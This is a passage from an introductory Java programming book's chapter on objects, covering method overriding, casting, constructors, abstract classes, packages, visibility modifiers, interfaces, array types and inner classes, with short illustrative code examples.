In a previous section, I offered an inductive rule for overloaded method resolution. It said that a method is considered more specific than another if its arguments are polymorphically assignable to the arguments of the second method. We can now expand this rule to include the resolution of overridden methods by adding the following condition: to be more specific than another method, the type of the class containing the method must also be assignable to the type of the class holding the second method.

What does that mean? Well, the only classes whose types are assignable are classes in the same inheritance hierarchy. So, what we're talking about now is the set of all methods of the same name in a class or any of its parent or child classes. Since subclass types are assignable to superclass types, but not vice versa, the resolution is pushed, in the way that we expect, down the chain, towards the subclasses. This effectively adds a second dimension to the search, in which resolution is pushed down the inheritance tree towards more refined classes and, simultaneously, towards the most specific overloaded method within a given class.

Exceptions and overridden methods

When we talked about exception handling in Chapter 4, The Java Language, there's one thing I didn't mention because it wouldn't have made sense then. An important restriction on overridden methods is that they must adhere to the throws clause of the parent method's signature. If an overridden method throws an exception, the exception must be of the type specified by the parent or a subtype of that exception. Because the exception can be a subtype of the one specified by the parent, the overridden method can refine the type of exception thrown to go along with its new behavior. For example:

// A more refined exception
class MeatInedibleException extends InedibleException { ...
}

class Animal {
    void eat( Food f ) throws InedibleException { ...
}
class Herbivore extends Animal {
    void eat( Food f ) throws InedibleException {
        if ( f instanceof Meat )
            throw new MeatInedibleException();
        ....
    }
}

In the example above, Animal specifies that it can throw an InedibleException from its eat() method. Herbivore is a subclass Animal, so it must be able to do this too. However, Herbivore's eat() method actually throws a more specific exception: MeatInedibleException. It can do this because MeatInedibleException is a subtype of InedibleException (remember that Exceptions are classes too). Our calling code's catch clause can therefore be more specific:

Animal creature = ...
try {
    creature.eat( food );
} catch ( MeatInedibleException ) {
    // creature can't eat this food because it's meat
} catch ( InedibleException ) {
    // creature can't eat this food
}

this and super

The special references this and super allow you to refer to the members of the current object instance or those of the superclass, respectively. We have seen this used elsewhere to pass a reference to the current object and to refer to shadowed instance variables. The reference super does the same for the parents of a class. You can use it to refer to members of a superclass that have been shadowed or overridden. A common arrangement is for an overridden method in a subclass to do some preliminary work and then defer to the method of the superclass to finish the job.

class Animal {
    void eat( Food f ) throws InedibleException {
        // consume food
    }
}

class Herbivore extends Animal {
    void eat( Food f ) throws InedibleException {
        // check if edible
        ...
        super.eat( f );
    }
}

In the above example, our Herbivore class overrides the Animal eat() method to first do some checking on the food object. After doing its job it simply calls the (otherwise overridden) implementation of eat() in its superclass, using super.

super prompts a search for the method or variable to begin in the scope of the immediate superclass rather than the current class. The inherited method or variable found may reside in the immediate superclass, or in a more distant one. The usage of the super reference when applied to overridden methods of a superclass is special; it tells the method resolution system to stop the dynamic method search at the superclass, instead of in the most derived class (as it otherwise does). Without super, there would be no way to access overridden methods.

Casting

As in C++, a cast explicitly tells the compiler to change the apparent type of an object reference. Unlike in C++, casts in Java are checked both at compile- and at run-time to make sure they are legal. Attempting to cast an object to an incompatible type at run-time results in a ClassCastException. Only casts between objects in the same inheritance hierarchy (and as we'll see later, to appropriate interfaces) are legal in Java and pass the scrutiny of the compiler and the run-time system.

Casts in Java affect only the treatment of references; they never change the form of the actual object. This is an important rule to keep in mind. You never change the object pointed to by a reference by casting it; you change only the compiler's (or run-time system's) notion of it.

A cast can be used to narrow the type of a reference--to make it more specific. Often, we'll do this when we have to retrieve an object from a more general type of collection or when it has been previously used as a less derived type. (The prototypical example is using an object in a Vector or Hashtable, as you'll see in Chapter 7, Basic Utility Classes.) Continuing with our Cat example:

Animal creature = ...
Cat simon = ...

creature = simon;        // Okay
// simon = creature;     // Compile time error, incompatible type
simon = (Cat)creature;   // Okay

We can't reassign the reference in creature to the variable simon even though we know it holds an instance of a Cat (Simon). We have to perform the indicated cast. This is also called downcasting the reference.

Note that an implicit cast was performed when we went the other way to widen the reference simon to type Animal during the first assignment. In this case, an explicit cast would have been legal, but superfluous.

If casting seems complicated, here's a simple way to think about it. Basically, you can't lie about what an object is. If you have a Cat object, you can cast it to a less derived type (i.e., a type above it in the class hierarchy) such as Animal or even Object, since all Java classes are a subclass of Object. If you have an Object you know is a Cat, you can downcast the Object to be an Animal or a Cat. However, if you aren't sure if the Object is a Cat or a Dog at run-time, you should check it with instanceof before you perform the cast. If you get the cast wrong, Java throws a ClassCastException.

As I mentioned earlier, casting can affect the selection of compile-time items like variables and overloaded methods, but not the selection of overridden methods. Figure 5.6 shows the difference. As shown in the top half of the diagram, casting the reference simon to type Animal (widening it) affects the selection of the shadowed variable weight within it. However, as the lower half of the diagram indicates, the cast doesn't affect the selection of the overridden method sleep().

Figure 5.6: Casting and its effect on method and variable selection

[Graphic: Figure 5-6]

Using superclass constructors

When we talked earlier about constructors, we discussed how the special statement this() invokes an overloaded constructor upon entry to another constructor. Similarly, the statement super() explicitly invokes the constructor of a superclass. Of course, we also talked about how Java makes a chain of constructor calls that includes the superclass's constructor, so why use super() explicitly? When Java makes an implicit call to the superclass constructor, it calls the default constructor. So, if we want to invoke a superclass constructor that takes arguments, we have to do so explicitly using super().

If we are going to call a superclass constructor with super(), it must be the first statement of our constructor, just as this() must be the first call we make in an overloaded constructor. Here's a simple example:

class Person {
    Person ( String name ) {
        //  setup based on name
        ...
    }
    ...
}

class Doctor extends Person {
    Doctor ( String name, String specialty ) {
        super( name );
        // setup based on specialty
        ...
    }
    ...
}

In this example, we use super() to take advantage of the implementation of the superclass constructor and avoid duplicating the code to set up the object based on its name. In fact, because the class Person doesn't define a default (no arguments) constructor, we have no choice but to call super() explicitly. Otherwise, the compiler would complain that it couldn't find an appropriate default constructor to call. Said another way, if you subclass a class that has only constructors that take arguments, you have to invoke one of the superclass's constructors explicitly from your subclass constructor.

Instance variables of the class are initialized upon return from the superclass constructor, whether that's due to an explicit call via super() or an implicit call to the default superclass constructor.

We can now give the full story of how constructors are chained together and when instance variable initialization occurs. The rule has three parts and is applied repeatedly for each successive constructor invoked.

  • If the first statement of a constructor is an ordinary statement--i.e., not a call to this() or super()--Java inserts an implicit call to super() to invoke the default constructor of the superclass. Upon returning from that call, Java initializes the instance variables of the current class and proceeds to execute the statements of the current constructor.

  • If the first statement of a constructor is a call to a superclass constructor via super(), Java invokes the selected superclass constructor. Upon its return, Java initializes the current class's instance variables and proceeds with the statements of the current constructor.

  • If the first statement of a constructor is a call to an overloaded constructor via this(), Java invokes the selected constructor and upon its return simply proceeds with the statements of the current constructor. The call to the superclass's constructor has happened within the overloaded constructor, either explicitly or implicitly, so the initialization of instance variables has already occurred.

Abstract Methods and Classes

As in C++, a method can be declared with the abstract modifier to indicate that it's just a prototype. An abstract method has no body; it's simply a signature definition followed by a semicolon. You can't directly use a class that contains an abstract method; you must instead create a subclass that implements the abstract method's body.

abstract vaporMethod( String name );

In Java, a class that contains one or more abstract methods must be explicitly declared as an abstract class, also using the abstract modifier :

abstract class vaporClass {
    ...
    abstract vaporMethod( String name );
    ...
}

An abstract class can contain other, nonabstract methods and ordinary variable declarations; however, it can't be instantiated. To be used, it must be subclassed and its abstract methods must be overridden with methods that implement a body. Not all abstract methods have to be implemented in a single subclass, but a subclass that doesn't override all its superclass's abstract methods with actual, concrete implementations must also be declared abstract.

Abstract classes provide a framework for classes that are to be "filled in" by the implementor. The java.io.InputStream class, for example, has a single abstract method called read(). Various subclasses of InputStream implement read() in their own ways to read from their own sources. The rest of the InputStream class, however, provides extended functionality built on the simple read() method. A subclass of InputStream inherits these nonabstract methods that provide functionality based on the simple read() method that the subclass implements.

It's often desirable to specify only the prototypes for a whole set of methods and provide no implementation. In C++, this would be a purely abstract class. In Java, you should instead use an interface. An interface is like a purely abstract class; it defines a set of methods a class must implement (i.e., the behavior of a class). However, unlike in C++, a class in Java can simply say that it implements an interface and go about implementing those methods. As we'll discuss later, a class that implements an interface doesn't have to inherit from any particular part of the inheritance hierarchy or use a particular implementation.

Previous | Home | Next
Object Destruction | Book Index | Packages and Compilation Units
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.6 Packages and Compilation Units

Previous Chapter 5
Objects in Java 		Next

5.6 Packages and Compilation Units

A package is a name for a group of related classes. In Chapter 3, Tools of the Trade, we discussed how Java uses package names to locate classes during compilation and at run-time. In this sense, packages are somewhat like libraries; they organize and manage sets of classes. Packages provide more than just source code-level organization though. They also create an additional level of scope for their classes and the variables and methods within them. We'll talk about the visibility of classes in this section. In the next section, we'll discuss the effect that packages have on access to variables and methods between classes.

Compilation Units

The source code for a Java class is called a compilation unit. A compilation unit normally contains a single class definition and is named for that class. The definition of a class named MyClass, for instance, should appear in a file named MyClass.java. For most of us, a compilation unit is just a file with a .java extension, but in an integrated development environment, it could be an arbitrary entity. For brevity here, we'll refer to a compilation unit simply as a file.

The division of classes into their own compilation units is important because, as described in Chapter 3, Tools of the Trade, the Java compiler assumes much of the responsibility of a make utility. The compiler relies on the names of source files to find and compile dependent classes. It's possible (and common) to put more than one class definition into a single file, but there are some restrictions we'll discuss shortly.

A class is declared to belong to a particular package with the package statement. The package statement must appear as the first statement in a compilation unit. There can be only one package statement, and it applies to the entire file:

package mytools.text;

class TextComponent {
     ...
}

In the above example, the class TextComponent is placed in the package mytools.text.

A Word About Package Names

You should recall from Chapter 3, Tools of the Trade that package names are constructed in a hierarchical way, using a dot-separated naming convention. Package-name components construct a unique path for the compiler and run-time systems to locate files; however, they don't affect the contents directly in any other way. There is no such thing as a subpackage (the package name space is really flat, not hierarchical) and packages under a particular part of a package hierarchy are related only by association. For example, if we create another package called mytools.text.poetry (presumably for text classes specialized in some way to work with poetry), those classes would not be considered part of the mytools.text package and would have no special access to its members. In this sense, the package-naming convention can be misleading.

Class Visibility

By default, a class is accessible only to other classes within its package. This means that the class TextComponent is available only to other classes in the mytools.text package. To be visible elsewhere, a class must be declared as public:

package mytools.text;

public class TextEditor {
     ...
}

The class TextEditor can now be referenced anywhere. There can be only a single public class defined in a compilation unit; the file must be named for that class.

By hiding unimportant or extraneous classes, a package builds a subsystem that has a well-defined interface to the rest of the world. Public classes provide a facade for the operation of the system and the details of its inner workings can remain hidden, as shown in Figure 5.7. In this sense, packages hide classes in the way classes hide private members.

Figure 5.7: Class visibility and packages

[Graphic: Figure 5-7]

Figure 5.7 shows part of the the hypothetical mytools.text package. The classes TextArea and TextEditor are declared public and can be used elsewhere in an application. The class TextComponent is part of the implementation of TextArea and is not accessible from outside of the package.

Importing Classes

Classes within a package can refer to each other by their simple names. However, to locate a class in another package, we have to supply a qualifier. Continuing with the above example, an application refers directly to our editor class by its fully qualified name of mytools.text.TextEditor. But we'd quickly grow tired of typing such long class names, so Java gives us the import statement. One or more import statements can appear at the top of a compilation unit, beneath the package statement. The import statements list the full names of classes to be used within the file. Like a package statement, import statements apply to the entire compilation unit. Here's how you might use an import statement:

package somewhere.else;

import mytools.text.TextEditor;

class MyClass {
    TextEditor editBoy;
    ...
}

As shown in the example above, once a class is imported, it can be referenced by its simple name throughout the code. It's also possible to import all of the classes in a package using the * notation:

import mytools.text.*;

Now we can refer to all public classes in the mytools.text package by their simple names.

Obviously, there can be a problem with importing classes that have conflicting names. If two different packages contain classes that use the same name, you just have to fall back to using fully qualified names to refer to those classes. Other than the potential for naming conflicts, there's no penalty for importing classes. Java doesn't carry extra baggage into the compiled class files. In other words, Java class files don't contain other class definitions, they only reference them.

The Unnamed Package

A class that is defined in a compilation unit that doesn't specify a package falls into the large, amorphous unnamed package. Classes in this nameless package can refer to each other by their simple names. Their path at compile- and run-time is considered to be the current directory, so package-less classes are useful for experimentation, testing, and brevity in providing examples for books about Java.

Previous | Home | Next
Subclassing and Inheritance | Book Index | Variable and Method Visibility
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.7 Variable and Method Visibility

Previous Chapter 5
Objects in Java 		Next

5.7 Variable and Method Visibility

One of the most important aspects of object-oriented design is data hiding, or encapsulation. By treating an object in some respects as a "black box" and ignoring the details of its implementation, we can write stronger, simpler code with components that can be easily reused.

Basic Access Modifiers

By default, the variables and methods of a class are accessible to members of the class itself and other classes in the same package. To borrow from C++ terminology, classes in the same package are friendly. We'll call this the default level of visibility. As you'll see as we go on, the default visibility lies in the middle of the range of restrictiveness that can be specified.

The modifiers public and private, on the other hand, define the extremes. As we mentioned earlier, methods and variables declared as private are accessible only within their class. At the other end of the spectrum, members declared as public are always accessible, from any class in any package. Of course, the class that contains the methods must also be public, as we just discussed. The public members of a class should define its most general functionality--what the black box is supposed to do. Figure 5.8 illustrates the three simplest levels of visibility.

Figure 5.8: Private, default, protected, and public visibility

[Graphic: Figure 5-8]

Figure 5.8 continues with the example from the previous section. Public members in TextArea are accessible from anywhere. Private members are not visible from outside the class. The default visibility allows access by other classes in the package.

The protected modifier allows special access permissions for subclasses. Contrary to how it might sound, protected is slightly less restrictive than the default level of accessibility. In addition to the default access afforded classes in the same package, protected members are visible to subclasses of the class, even if they are defined in a different package. If you are a C++ programmer and so used to more restrictive meanings for both the default and protected levels of access, this may rub you the wrong way.

What was private protected?

Early on, the Java language allowed for certain combinations of modifiers, one of which was private protected. The meaning of private protected was to limit visibility strictly to subclasses (and remove package access). This was later deemed somewhat inconsistent and overly complex and is no longer supported.[5]

[5] The meaning of the protected modifier changed in the Beta2 release of Java, and the private protected combination appeared at the same time. They patched some potential security holes, but confused many people.

Table 5.1 summarizes the levels of
visibility available in Java; it runs generally from most restrictive
to least. Methods and variables are always visible within a class, so
the table doesn't address those:

Table 5.1: Visibility Modifiers
Modifier | Visibility
private | None
none (default) | Classes in the package
protected | Classes in package and subclasses inside or outside the package
public | All classes

Subclasses and Visibility

There are two important (but unrelated) notes we need to add to the
discussion of visibility with regards to class members in
subclasses. First, when you override methods of a class in a subclass,
it's not possible to reduce their visibility. While it is possible to
take a private method of a class and override it to
be public in a subclass, the reverse is not
possible. This makes sense when you think about the fact that subtypes
have to be usable as instances of their supertype (e.g., a
Mammal is a type of Animal).  If
we could reduce the visibility of an overridden method, this would be
a problem. However, we can reduce the visibility of a variable because
it simply results in a shadowed variable. As with all shadowed
variables, the two variables are distinct and can have separate
visibilities in their different class forms.

The second point is that protected variables
of a class are visible to its subclasses, but unlike C++, only in
objects of the subclass's type or its subtypes. In other words,
a subclass can see a protected variable from its
superclass as an inherited variable, but it can't access the variable in
a separate instance of the superclass itself.
This can be confusing because often we forget that visibility modifiers
don't resrtict between multiple instances of the same class in the same way
that they do instances of different classes.  Two instances of the same type
of object can normally access all of each other's members,
including private ones.  Said another way: two instances of Cat can access
all of each other's variables and methods (including private ones), but a
Cat can't access a protected member in an instance of Animal, unless it
can prove that the Animal is a Cat.

Previous | Home | Next
Packages and Compilation Units | Book Index | Interfaces

Java in a Nutshell
Java Language Reference
Java AWT
Java Fundamental Classes
Exploring Java


[Chapter 5] 5.8 Interfaces

Previous Chapter 5
Objects in Java 		Next

5.8 Interfaces

Interfaces are kind of like Boy Scout (or Girl Scout) merit badges. When a scout has learned to build a bird house, he can walk around wearing a little patch with a picture of one on his sleeve. This says to the world, "I know how to build a bird house." Similarly, an interface is a list of methods that define some set of behavior for an object. Any class that implements each of the methods listed in the interface can declare that it implements the interface and wear, as its merit badge, an extra type--the interface's type.

Interface types act like class types. You can declare variables to be of an interface type, you can declare arguments of methods to accept interface types, and you can even specify that the return type of a method is an interface type. In each of these cases, what is meant is that any object that implements the interface (i.e., wears the right merit badge) can fill that spot. In this sense, interfaces are orthogonal to the class hierarchy. They cut across the boundaries of what kind of object an item is and deal with it only in terms of what it can do. A class implements as many interfaces as it desires. In this way, interfaces in Java replace the need for multiple inheritance (and all of its messy side effects).

An interface looks like a purely abstract class (i.e., a class with only abstract methods). You define an interface with the interface keyword and list its methods with no bodies:

interface Driveable {
    boolean startEngine();
    void stopEngine();
    float accelerate( float acc );
    boolean turn( Direction dir );
}

The example above defines an interface called Driveable with four methods. It's acceptable, but not necessary, to declare the methods in an interface with the abstract modifier, so we haven't used it here. Interfaces define capabilities, so it's common to name interfaces after their capabilities in a passive sense. "Driveable" is a good example; "runnable" and "updateable" would be two more.

Any class that implements all the methods can then declare it implements the interface by using a special implements clause in its class definition:

class Automobile implements Driveable {
    ...
    boolean startEngine() {
        if ( notTooCold )
            engineRunning = true;
        ...
    }

    void stopEngine() {
        engineRunning = false;
    }

    float accelerate( float acc ) {
        ...
    }

    boolean turn( Direction dir ) {
        ...
    }
    ...
}

The class Automobile implements the methods of the Driveable interface and declares itself Driveable using an implements clause.

As shown in Figure 5.9, another class, such as LawnMower, can also implement the Driveable interface. The figure illustrates the Driveable interface being implemented by two different classes. While it's possible that both Automobile and Lawnmower could derive from some primitive kind of vehicle, they don't have to in this scenario. This is a significant advantage of interfaces over standard multiple inheritance as implemented in C++.

Figure 5.9: Implementing the Driveable interface

[Graphic: Figure 5-9]

After declaring the interface, we have a new type, Driveable. We can declare variables of type Driveable and assign them any instance of a Driveable object:

Automobile auto = new Automobile();
Lawnmower mower = new Lawnmower();
Driveable vehicle;

vehicle = auto;
vehicle.startEngine();
vehicle.stopEngine();
...
vehicle = mower;
vehicle.startEngine();
vehicle.stopEngine();

Both Automobile and Lawnmower implement Driveable and can be considered of that type.

Interfaces as Callbacks

Interfaces can be used to implement callbacks in Java. A callback is a situation where you'd like to pass a reference to some behavior and have another object invoke it later. In C or C++, this is prime territory for function pointers; in Java, we'll use interfaces instead.

Consider two classes: a TickerTape class that displays data and a TextSource class that provides an information feed. We'd like our TextSource to send any new text data. We could have TextSource store a reference to a TickerTape object, but then we could never use our TextSource to send data to any other kind of object. Instead, we'd have to proliferate subclasses of TextSource that dealt with different types. A more elegant solution is to have TextSource store a reference to an interface type, TextUpdateable:

interface TextUpdateable {
    receiveText( String text );
}

class TickerTape implements TextUpdateable {
    TextSource source;

    init() {
        source = new TextSource( this );
        ...
    }

    public receiveText( String text ) {
        scrollText( text ):
    }
    ...
}

class TextSource {
    TextUpdateable receiver;

    TextSource( TextUpdateable r ) {
        receiver = r;
    }

    private sendText( String s ) {
        receiver.receiveText( s );
    }
    ...
}

The only thing TextSource really cares about is finding the right method to invoke to send text. Thus, we can list that method in an interface called TextUpdateable and have our TickerTape implement the interface. A TickerTape object can then be used anywhere we need something of the type TextUpdateable. In this case, the TextSource constructor takes a TextUpdateable object and stores the reference in an instance variable of type TextUpdateable. Our TickerTape object simply passes a reference to itself as the callback for text updates, and the source can invoke its receiveText() method as necessary.

Interface Variables

Although interfaces allow us to specify behavior without implementation, there's one exception. An interface can contain constant variable identifiers; these identifiers appear in any class that implements the interface. This functionality allows for predefined parameters that can be used with the methods:

interface Scaleable {
    static final int BIG = 0, MEDIUM = 1, SMALL = 2;

    void setScale( int size );
}

The Scaleable interface defines three integers: BIG, MEDIUM, and SMALL. All variables defined in interfaces are implicitly final and static; we don't have to use the modifiers here but, for clarity, we recommend you do so.

A class that implements Scaleable sees these variables:

class Box implements Scaleable {

    void setScale( int size ) {
        switch( size ) {
            case BIG:
                ...
            case MEDIUM:
                ...
            case SMALL:
                ...
        }
    }
    ...
}

Empty Interfaces

Sometimes, interfaces are created just to hold constants; anyone who implements the interfaces can see the constant names, much as if they were included by a C/C++ include file. This is a somewhat degenerate, but acceptable use of interfaces.

Sometimes completely empty interfaces will be used to serve as a marker that a class has some special property. The java.io.Serializeable interface is a good example (See Chapter 8). Classes that implement Serializable don't add any methods or variables. Their additional type simply identifies them to Java as classes that want to be able to be serialized.

Interfaces and Packages

Interfaces behave like classes within packages. An interface can be declared public to make it visible outside of its package. Under the default visibility, an interface is visible only inside of its package. There can be only one public interface declared in a compilation unit.

Subinterfaces

An interface can extend another interface, just as a class can extend another class. Such an interface is called a subinterface:

interface DynamicallyScaleable extends Scaleable {
    void changeScale( int size );
}

The interface DynamicallyScaleable extends our previous Scaleable interface and adds an additional method. A class that implements DynamicallyScaleable must implement all methods of both interfaces.

Interfaces can't specify that they implement other interfaces, instead they are allowed to extend more than one interface. (This is multiple inheritence for interfaces). More than one superinterface can be specified with the comma operator:

    interface DynamicallyScaleable extends Scaleable, SomethingElseable {
        ...

Inside Arrays

At the end of Chapter 4, The Java Language, I mentioned that arrays have a place in the Java class hierarchy, but I didn't give you any details. Now that we've discussed the object-oriented aspects of Java, I can give you the whole story.

Array classes live in a parallel Java class hierarchy under the Object class. If a class is a direct subclass of Object, then an array class for that base type also exists as a direct subclass of Object. Arrays of more derived classes are subclasses of the corresponding array classes. For example, consider the following class types:

class Animal { ... }
class Bird extends Animal { ... }
class Penguin extends Bird { ... }

Figure 5.10 illustrates the class hierarchy for arrays of these classes.

Figure 5.10: Arrays in the Java class hierarchy

[Graphic: Figure 5-10]

Arrays of the same dimension are related to one another in the same manner as their base type classes. In our example, Bird is a subclass of Animal, which means that the Bird[] type is a subtype of Animal[]. In the same way a Bird object can be used in place of an Animal object, a Bird[] array can be assigned to an Animal[] array:

Animal [][] animals;
Bird [][] birds = new Bird [10][10];
birds[0][0] = new Bird();

// make animals and birds reference the same array object
animals = birds;
System.out.println( animals[0][0] );               // prints Bird

Because arrays are part of the class hierarchy, we can use instanceof to check the type of an array:

if ( birds instanceof Animal[][] )                 // yes

An array is a subtype of Object and can therefore be assigned to Object type variables:

Object something;
something = animals;

Since Java knows the actual type of all objects, you can also cast back if appropriate:

animals = (Animal [][])something;

Under unusual circumstances, Java may not be able to check the types of objects you place into arrays at compile-time. In those cases, it's possible to receive an ArrayStoreException if you try to assign the wrong type of object to an array element. Consider the following:

class Dog { ... }
class Poodle extends Dog { ... }
class Chihuahua extends Dog { ... }

Dog [] dogs;
Poodle [] poodles = new Poodle [10];

dogs = poodles;

dogs[3] = new Chihuahua();     // Run-time error, ArrayStoreException

Both Poodle and Chihuahua are subclasses of Dog, so an array of Poodle objects can therefore be assigned to an array of Dog objects, as I described previously. The problem is that an object assignable to an element of an array of type Dog[] may not be assignable to an element of an array of type Poodle. A Chihuahua object, for instance, can be assigned to a Dog element because it's a subtype of Dog, but not to a Poodle element.[6]

[6] In some sense this could be considered a tiny hole in the Java type system. It doesn't occur elsewhere in Java, only with arrays. This is because array objects exhibit covariance in overriding their assignment and extraction methods. Covariance allows array subclasses to override methods with arguments or return values that are subtypes of the overridden methods, where the methods would normally be overloaded or prohibited. This allows array subclasses to operate on their base types with type safety, but also means that subclasses have different capabilities than their parents, leading to the problem shown above.

Previous | Home | Next
Variable and Method Visibility | Book Index | Inner Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.9 Inner Classes

Previous Chapter 5
Objects in Java 		Next

5.9 Inner Classes

We've left out something important in our discussion of Java classes so far: a large and relatively recent heap of syntactic sugar called inner classes. Simply put, classes in Java can be declared at any level of scope. That is, you can declare a class within any set of curly braces (that is, almost anywhere that you could put any other Java statement) and its visibility is limited to that scope in the same way that the name of a variable or method would be. Inner classes are a powerful and aesthetically pleasing facility for structuring code.[7] Their even sweeter cousins, anonymous inner classes, are another powerful shorthand that make it seem like you can create classes dynamically within Java's statically typed environment.

[7] The implementation of Java's inner classes draws on experience from the language Beta, and other block structured languages such as Pascal, and Scheme.

However, if you delve into the inner workings of Java, inner classes are not quite as aesthetically pleasing or dynamic. We said that they are syntactic sugar; by this we mean that they let you leverage the compiler by writing a few lines of code that trigger a lot of behind-the-scenes work somewhere between the compiler's front end and the byte-code. Inner classes rely on code-generation; they are a feature of the Java language, but not of the Java virtual machine. As a programmer you may never need be aware of this; you can simply rely on inner classes like any other language construct. However, you should know a little about how inner classes work, to better understand the results and a few potential side effects.

To this point, all of our classes have been top level classes. We have declared them, free standing, at the package level. Inner classes are essentially nested classes, like this:

    Class Animal {
        Class Brain {
            ...
        }
    }

Here the class Brain is an inner class: it is a class declared inside the scope of class Animal. Although the details of what that means require a fair bit of explanation, we'll start by saying that the Java language tries to make the meaning, as much as possible, the same as for the other Java entities (methods and variables) living at that level of scope. For example, let's add a method to the Animal class:

    Class Animal {
        Class Brain {
            ...
        }
        void performBehavior() { ... }
    }

Both the inner class Brain and the method performBehavior() are within the scope of Animal. Therefore, anywhere within Animal we can refer to Brain and performBehavior() directly, by name. Within Animal we can call the constructor for Brain (new Brain()) to get a Brain object, or invoke performBehavior() to carry out that method's function. But neither Brain nor performBehavior() are accessible outside of the class Animal without some additional qualification.

Within the body of the Brain class and the body of the performBehavior() method, we have direct access to all of the other methods and variables of the Animal class. So, just as the performBehavior() method could work with the Brain class and create instances of Brain, code within the Brain class can invoke the performBehavior() method of Animal as well as work with any other methods and variables declared in Animal.

That last bit has important consequences. From within Brain we can invoke the method performBehavior(); that is--from within an instance of Brain we can invoke the performBehavior() method of an instance of Animal. Well, which instance of Animal? If we have several Animal objects around (say, a few Cats and Dogs), we need to know whose performBehavior() method we are calling. What does it mean for a class definition to be "inside" another class definition? The answer is that a Brain object always lives within a single instance of Animal: the one that it was told about when it was created. We'll call the object that contains any instance of Brain its enclosing instance.

A Brain object cannot live outside of an enclosing instance of an Animal object. Anywhere you see an instance of Brain, it will be tethered to an instance of Animal. Although it is possible to construct a Brain object from elsewhere (i.e., another class), Brain always requires an enclosing instance of Animal to "hold" it. We'll also say now that if Brain is to be referred to from outside of Animal it acts something like an Animal.Brain class. And just as with the performBehavior() method, modifiers can be applied to restrict its visibility. There is even an interpretation of the static modifier, which we'll talk about a bit later. However, the details are somewhat boring and not immediately useful, so you should consult a full language reference for more info (like O'Reilly's Java Language Reference, Second Edition). So before we get too far afield, let's turn to a more compelling example.

A particularly important use of inner classes is to make adapter classes. An adapter class is a "helper" class that ties one class to another in a very specific way. Using adapter classes you can write your classes more naturally, without having to anticipate every conceivable user's needs in advance. Instead, you provide adapter classes that marry your class to a particular interface.

As an example, let's say that we have an EmployeeList object:

public class EmployeeList {
    private Employee [] employees = ... ;
    ...
}

EmployeeList holds information about a set of employees, representing some view of our database. Let's say that we would like to have EmployeeList provide its elements as an enumeration (see Chapter 7, Basic Utility Classes). An enumeration is a simple interface to a set of objects that looks like this:

// the java.util.Enumeration interface
public interface Enumeration {
    boolean hasMoreElements();
    Object nextElement();
}

It lets us iterate through its elements, asking for the next one and testing to see if more remain. The enumeration is a good candidate for an adapter class because it is an interface that our EmployeeList can't readily implement itself. That's because an enumeration is a "one way", disposable view of our data. It isn't intended to be reset and used again, and therefore should be kept separate from the EmployeeList itself. This is crying out for a simple class to provide the enumeration capability. But what should that class look like?

Well, before we knew about inner classes, our only recourse would have been to make a new "top level" class. We would probably feel obliged to call it EmployeeListEnumeration:

class EmployeeListEnumeration implements Enumeration {
    // lots of knowledge about EmployeeList
    ...
}

Here we have a comment representing the machinery that the EmployeeListEnumeration requires. Think for just a second about what you'd have to do to implement that machinery. The resulting class would be completely coupled to the EmployeeList, and unusable in other situations. Worse, to function it must have access to the inner workings of EmployeeList. We would have to allow EmployeeListEnumeration access to the private array in EmployeeList, exposing this data more widely than it should be. This is less than ideal.

This sounds like a job for inner classes. We already said that EmployeeListEnumeration was useless without the EmployeeList; this sounds a lot like the "lives inside" relationship we described earlier. Furthermore, an inner class lets us avoid the encapsulation problem, because it can access all the members of its enclosing instance. Therefore, if we use an inner class to implement the enumeration, the array employees can remain private, invisible outside the EmployeeList. So let's just shove that helper class inside the scope of our EmployeeList:

public class EmployeeList {
    private Employee [] employees = ... ;

    // ...

    class Enumerator implements java.util.Enumeration {
        int element = 0;
        boolean hasMoreElements() {
            return  element < employees.length ;
        }
        Object nextElement() {
            if ( hasMoreElements() )
                return employees[ element++ ];
            else
                throw NoSuchElementException();
        }
    }

}

Now EmployeeList can provide an accessor method like the following to let other classes work with the list:

    ...
    Enumeration getEnumeration() {
        return new Enumerator();
    }

One effect of the move is that we are free to be a little more familiar in the naming of our enumeration class. Since it is no longer a top level class, we can give it a name that is only appropriate within the EmployeeList. In this case, we've named it Enumerator to emphasize what it does--but we don't need a name like EmployeeEnumerator that shows the relationship to the EmployeeList class, because that's implicit. We've also filled in the guts of the Enumerator class. As you can see, now that it is inside the scope of EmployeeList, Enumerator has direct access to its private members, so it can directly access the employees array. This greatly simplifies the code and maintains the compile-time safety.

Before we move on, we should note that inner classes can have constructors, even though we didn't need one in this example. They are in all respects real classes.

Inner Classes within methods

Inner classes may also be declared withing the body of a method. Returning to the Animal class, we could put Brain inside the performBehavior() method if we decided that the class was only useful inside of that method.

    Class Animal {
        void performBehavior() {
            Class Brain {
                ...
            }
        }
    }

In this situation, the rules governing what Brain can see are the same as in our earlier example. The body of Brain can see anything in the scope of performBehavior() and, of course, above it. This includes local variables of performBehavior(), and its arguments. This raises a few questions.

performBehavior() is a method, and methods have limited lifetimes. When they exit their local variables normally disappear into the stacky abyss. But an instance of Brain (like any object) lives on as long as it is referenced. So Java makes sure that any local variables used by instances of Brain created within an invocation of performBehavior() also live on. Furthermore, all of the instances of Brain that we make within a single invocation of performBehavior() will see the same local variables.

Static Inner Classes

We mentioned earlier that the inner class Brain of the class Animal could in some ways be considered an Animal.Brain class. That is, it is possible to work with a Brain from outside the Animal class, using just such a qualified name: Animal.Brain. But given that our Animal.Brain class always requires an instance of an Animal as its enclosing instance, some explicit setup is needed.[8]

[8] Specifically, we would have to follow a design pattern and pass a reference to the enclosing instance of Animal into the Animal.Brain constructor. See a language reference for more information. We don't expect you to run into this situation very often.

But there is another situation where we might use inner classes by name. An inner class that lives within the body of a top level class (not within a method or another inner class) can be declared static. For example:

    class Animal  {
        static class MigrationPattern {
            ...
        }
        ...
    }

A static inner class such as this acts just like a new top level class called Animal.MigrationPattern; we can use it without regard to any enclosing instances. Although this seems strange, it is not inconsistent since a static member never has an object instance associated with it. The requirement that the inner class be defined directly inside a top level class ensures that an enclosing instance won't be needed. If we have permission, we can create an instance of the class using the qualified name:

    Animal.MigrationPattern stlToSanFrancisco = new Animal.MigrationPattern();

As you see, the effect is that Animal acts something like a mini-package, holding the MigrationPattern class. We can use all of the standard visibility modifiers on inner classes, so a static inner class could be private, protected, default, or publicly visible.

Anonymous Inner Classes

Now we get to the best part.

